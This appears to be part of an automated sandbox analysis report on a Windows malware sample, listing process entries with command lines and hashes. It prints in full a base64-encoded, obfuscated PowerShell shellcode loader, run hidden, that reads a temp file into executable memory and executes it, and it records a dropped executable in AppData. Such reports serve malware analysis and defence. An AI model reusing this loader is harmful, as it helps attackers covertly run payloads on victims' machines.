IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgAFAAcgBlAGwANgAgAGIAYQByAHMAawBhAGIAZQBzAG4AIABNAGUAdABhAHQAaABlACAAVABlAGwAZQB2AHMAbgBlAHQAcwA2ACAAUwBtAGEAbABzADcAIABCAE8ATwBTAFQARQBSAEkAIABtAGkAcwBtACAAUABJAE4AUwAgAFQAbgBkAGUAaAB2AGwAMQAgAHMAawByAGkAdgAgAE8AdgBlAHIAIAB1AG4AcAByAG8AcABhAGcAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAaQBsAGQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAGkAZQByAGkAZAAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADMAPQAwADsADQAKACQAUwBsAHUAZAByAGUAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBsAHUAZAByAGUAYwBoADgAPQBbAFMAbAB1AGQAcgBlAGMAaAAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAcwBvAGcAbgBlACAAcwBhAG4AZwAgAE4AWQBUAFYAQQBOAEMAIABSAGkAbABsAGUAdABwAHIAbwA4ACAAcABvAHAAdQBsAGEAcgAgAGIAaQBsAGwAZQBkAG0AIABsAHMAZQBwAHIAbwBjACAAYwBvAG4AcwB0AGEAbgAgAFMAdQBiAHQAZQAgAEkAbABzAGEAYgBlAHQAOQAgAGgAdQBsAGsAeQBuAGEAcAAgAGIAZQB2AHIAdABlAHIAZQBuACAAUwBpAGQAZQB2AGkAIABNAGEAcwB0ACAARQBuAHMAbwBtADEAIABVAG4AZABlAHIAcwBjAGEAbABlADEAIABUAHIAeQBrAGsAZQByAGkAbAAgAEkAZABvAGwAaQBzAGUAcgBpADEAIAByAGUAZAB1ACAAdQBuAGQAdgBpAGcAZQBtAGEAbgAgAEQAZQBmAGUAIABLAE4ATwBDAEsATwBVACAAUwBsAHYAZQBzAHQAZQBzACAATgBvAG4AYgBlACAAUgBlAGEAcgBiAGkAdAByAGEAdAAgAGMAbwByAGIAZQBpAGwAcwBkAG8AIABzAGEAbgBkAHMAeQBuAGwAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBlAGsAcgBlAHQAZQByACIAIAANAAoAJABTAGwAdQBkAHIAZQBjAGgAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVABSAEkAQwBBAC4AZABhAHQAIgANAAoAIwBlAGYAdABlAHIAIABEAHUAcABwAGUAdABmAG8AcgA1ACAAQwBhAHIAZgB1ADEAIABzAHUAcgBlAG4AZQAgAEEARgBTAEkARwAgAGEAcgBpAGsAYQByAGEAcABlAHIAIABQAEkARwBFAE8ATgBIAE8ATABFACAASABvAHYAZQBsAGUAIABTAG0AZQBsAHQAZQAgAG0AZQBsAGUAbgBhACAAVQB0AGEAawAzACAARwBMAE8AUgBJAEUATgBTACAAQwBvAG4AYwBpAG8ANQAgAA0ACgAkAFMAbAB1AGQAcgBlAGMAaAA0AD0AWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAFMAbAB1AGQAcgBlAGMAaAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEIAdQBtAGIAZQByAHMAaABvAG8AIABVAG4AZgBsADMAIABVAG4AcwBhAGMAcgBhADUAIABPAHAAaAB0AGgAYQBsACAAQgByAGEAdAB0AGkAbgAyACAAUABZAFQASABPACAASABlAHIAbQBlAGQAcAA4ACAATAByAGUAcgAyACAAdgBhAHIAcAAgAFEAdQBhAGQAdwBvACAATwB2AGUAcgB0AGgAcgBvADIAIABBAHIAbQBlAG4AaQBhAGEAcgByADMAIABIAGEAbAB2ADQAIABDAHIAdQBuAGsAbABlAHAAZQBuADQAIAByAGUAcwBwAGkAcgAgAFMATQBVAEsASwBFAFMAVABJAFYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEMAYQByAGMAaABhAHIAbwAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADUAPQAwADsADQAKACMAUABhAHIAcwA5ACAAUwBVAFAAUABPAFIAVABBACAARABKAEEARQBWAEUATABTAEsAQwAgAFAAUgBPAEMARQBSAEUATQBPACAATABvAHIAaQBjAGEAZQBwAHIAZQAgAGcAdQByAHIAcwAgAGQAZQBnAHIAYQAgAGwAaQB0AHUAcgBnAGkAZQBzACAAUABBAEEAVABBAEcARQAgAFUAbgByAGUAcAB1AGwAcwAgAFUAbgBhAGMAYwBlAHAAdABhACAASwBlAGwAbAA3ACAAVwBhAGcAZwBsAGUAcwB1AGQAZwAgAE0AZQBnAGEAbABvAHIAbgBpAHQAIABjAG8AbQBwAHUAIABCAFUARABTACAAQgByAG8AbwBkAHkAYQBzAHQAcgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwB2AGUAcgB0AHIAYQBtAHAAbAAiACAADQAKAFsAUwBsAHUAZAByAGUAYwBoADEAXQA6ADoAUgBlAGEAZABGAGkAbABlACgAJABTAGwAdQBkAHIAZQBjAGgANAAsACQAUwBsAHUAZAByAGUAYwBoADMALAA1ADQANwAzADEALABbAHIAZQBmAF0AJABTAGwAdQBkAHIAZQBjAGgANQAsADAAKQANAAoAIwBNAHUAcwBpAGMAcgB5AGIAdQAgAEQATwBLAFUATQAgAEIARQBTAEsAIABjAG8AYQBnAHUAbABvAG0AIABuAG8AbgBzAHkAcwB0AGUAIABQAFIARQBDAEUAUgBUAEkARgAgAFMAYQBiAGIAYQB0AGEAIABwAHUAbgBkAGsAdQByACAAQwBoAGwAbwAgAEwAbwBlAHMAZQAyACAASABhAHYAbgBlAGYAbwAzACAATQBlAHQAYQAxACAAaQBzAGIAYQBhAGQAcwBoAGEAIABUAHIAYQBjAGgAeQBjAGEAIABIAEUAUgBSAEUARwAgAEwAQQBOAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFoAZQBhAGwAOQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAGEAbABrAHYAcgBrADQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAbABlAHYAZQBmAG8AZABlAG4AZAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHQAcgBiAGUANAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAEkATgBFAE4ARABFAFMASwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHAAZQBhAGsAZQBhAHMAeQBjADgAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATQBVAFMASwBVACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAcgBhAG4AZABzAGwAdQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBBAGQAZABpAGIAbABlAGQAZQBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAaABvAGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBpAGcAaAB0AHcAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAGoAZQBuAGUAcwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASABpAGcAaAB3AGEAeQBtAGEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwBwAGQAYQB0AGUAcgBpACIAIAANAAoAWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAUwBsAHUAZAByAGUAYwBoADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
Imagebase:	0x480000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	26
Start time:	15:04:23
Start date:	28/01/2022
Path:	C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe"
Imagebase:	0xbf0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	27
Start time:	15:04:23
Start date:	28/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6c2170000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	28
Start time:	15:04:55
Start date:	28/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgAFAAcgBlAGwANgAgAGIAYQByAHMAawBhAGIAZQBzAG4AIABNAGUAdABhAHQAaABlACAAVABlAGwAZQB2AHMAbgBlAHQAcwA2ACAAUwBtAGEAbABzADcAIABCAE8ATwBTAFQARQBSAEkAIABtAGkAcwBtACAAUABJAE4AUwAgAFQAbgBkAGUAaAB2AGwAMQAgAHMAawByAGkAdgAgAE8AdgBlAHIAIAB1AG4AcAByAG8AcABhAGcAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAaQBsAGQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAGkAZQByAGkAZAAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADMAPQAwADsADQAKACQAUwBsAHUAZAByAGUAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBsAHUAZAByAGUAYwBoADgAPQBbAFMAbAB1AGQAcgBlAGMAaAAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAcwBvAGcAbgBlACAAcwBhAG4AZwAgAE4AWQBUAFYAQQBOAEMAIABSAGkAbABsAGUAdABwAHIAbwA4ACAAcABvAHAAdQBsAGEAcgAgAGIAaQBsAGwAZQBkAG0AIABsAHMAZQBwAHIAbwBjACAAYwBvAG4AcwB0AGEAbgAgAFMAdQBiAHQAZQAgAEkAbABzAGEAYgBlAHQAOQAgAGgAdQBsAGsAeQBuAGEAcAAgAGIAZQB2AHIAdABlAHIAZQBuACAAUwBpAGQAZQB2AGkAIABNAGEAcwB0ACAARQBuAHMAbwBtADEAIABVAG4AZABlAHIAcwBjAGEAbABlADEAIABUAHIAeQBrAGsAZQByAGkAbAAgAEkAZABvAGwAaQBzAGUAcgBpADEAIAByAGUAZAB1ACAAdQBuAGQAdgBpAGcAZQBtAGEAbgAgAEQAZQBmAGUAIABLAE4ATwBDAEsATwBVACAAUwBsAHYAZQBzAHQAZQBzACAATgBvAG4AYgBlACAAUgBlAGEAcgBiAGkAdAByAGEAdAAgAGMAbwByAGIAZQBpAGwAcwBkAG8AIABzAGEAbgBkAHMAeQBuAGwAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBlAGsAcgBlAHQAZQByACIAIAANAAoAJABTAGwAdQBkAHIAZQBjAGgAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVABSAEkAQwBBAC4AZABhAHQAIgANAAoAIwBlAGYAdABlAHIAIABEAHUAcABwAGUAdABmAG8AcgA1ACAAQwBhAHIAZgB1ADEAIABzAHUAcgBlAG4AZQAgAEEARgBTAEkARwAgAGEAcgBpAGsAYQByAGEAcABlAHIAIABQAEkARwBFAE8ATgBIAE8ATABFACAASABvAHYAZQBsAGUAIABTAG0AZQBsAHQAZQAgAG0AZQBsAGUAbgBhACAAVQB0AGEAawAzACAARwBMAE8AUgBJAEUATgBTACAAQwBvAG4AYwBpAG8ANQAgAA0ACgAkAFMAbAB1AGQAcgBlAGMAaAA0AD0AWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAFMAbAB1AGQAcgBlAGMAaAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEIAdQBtAGIAZQByAHMAaABvAG8AIABVAG4AZgBsADMAIABVAG4AcwBhAGMAcgBhADUAIABPAHAAaAB0AGgAYQBsACAAQgByAGEAdAB0AGkAbgAyACAAUABZAFQASABPACAASABlAHIAbQBlAGQAcAA4ACAATAByAGUAcgAyACAAdgBhAHIAcAAgAFEAdQBhAGQAdwBvACAATwB2AGUAcgB0AGgAcgBvADIAIABBAHIAbQBlAG4AaQBhAGEAcgByADMAIABIAGEAbAB2ADQAIABDAHIAdQBuAGsAbABlAHAAZQBuADQAIAByAGUAcwBwAGkAcgAgAFMATQBVAEsASwBFAFMAVABJAFYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEMAYQByAGMAaABhAHIAbwAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADUAPQAwADsADQAKACMAUABhAHIAcwA5ACAAUwBVAFAAUABPAFIAVABBACAARABKAEEARQBWAEUATABTAEsAQwAgAFAAUgBPAEMARQBSAEUATQBPACAATABvAHIAaQBjAGEAZQBwAHIAZQAgAGcAdQByAHIAcwAgAGQAZQBnAHIAYQAgAGwAaQB0AHUAcgBnAGkAZQBzACAAUABBAEEAVABBAEcARQAgAFUAbgByAGUAcAB1AGwAcwAgAFUAbgBhAGMAYwBlAHAAdABhACAASwBlAGwAbAA3ACAAVwBhAGcAZwBsAGUAcwB1AGQAZwAgAE0AZQBnAGEAbABvAHIAbgBpAHQAIABjAG8AbQBwAHUAIABCAFUARABTACAAQgByAG8AbwBkAHkAYQBzAHQAcgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwB2AGUAcgB0AHIAYQBtAHAAbAAiACAADQAKAFsAUwBsAHUAZAByAGUAYwBoADEAXQA6ADoAUgBlAGEAZABGAGkAbABlACgAJABTAGwAdQBkAHIAZQBjAGgANAAsACQAUwBsAHUAZAByAGUAYwBoADMALAA1ADQANwAzADEALABbAHIAZQBmAF0AJABTAGwAdQBkAHIAZQBjAGgANQAsADAAKQANAAoAIwBNAHUAcwBpAGMAcgB5AGIAdQAgAEQATwBLAFUATQAgAEIARQBTAEsAIABjAG8AYQBnAHUAbABvAG0AIABuAG8AbgBzAHkAcwB0AGUAIABQAFIARQBDAEUAUgBUAEkARgAgAFMAYQBiAGIAYQB0AGEAIABwAHUAbgBkAGsAdQByACAAQwBoAGwAbwAgAEwAbwBlAHMAZQAyACAASABhAHYAbgBlAGYAbwAzACAATQBlAHQAYQAxACAAaQBzAGIAYQBhAGQAcwBoAGEAIABUAHIAYQBjAGgAeQBjAGEAIABIAEUAUgBSAEUARwAgAEwAQQBOAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFoAZQBhAGwAOQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAGEAbABrAHYAcgBrADQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAbABlAHYAZQBmAG8AZABlAG4AZAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHQAcgBiAGUANAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAEkATgBFAE4ARABFAFMASwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHAAZQBhAGsAZQBhAHMAeQBjADgAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATQBVAFMASwBVACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAcgBhAG4AZABzAGwAdQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBBAGQAZABpAGIAbABlAGQAZQBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAaABvAGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBpAGcAaAB0AHcAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAGoAZQBuAGUAcwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASABpAGcAaAB3AGEAeQBtAGEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwBwAGQAYQB0AGUAcgBpACIAIAANAAoAWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAUwBsAHUAZAByAGUAYwBoADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
Imagebase:	0x480000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	29
Start time:	15:05:21
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline
Imagebase:	0x230000
File size:	2141552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	30
Start time:	15:05:22
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD7.tmp" "c:\Users\user\AppData\Local\Temp\CSCB1B043D375E64A49ADE1599E795DF7E1.TMP"
Imagebase:	0xb60000
File size:	46832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
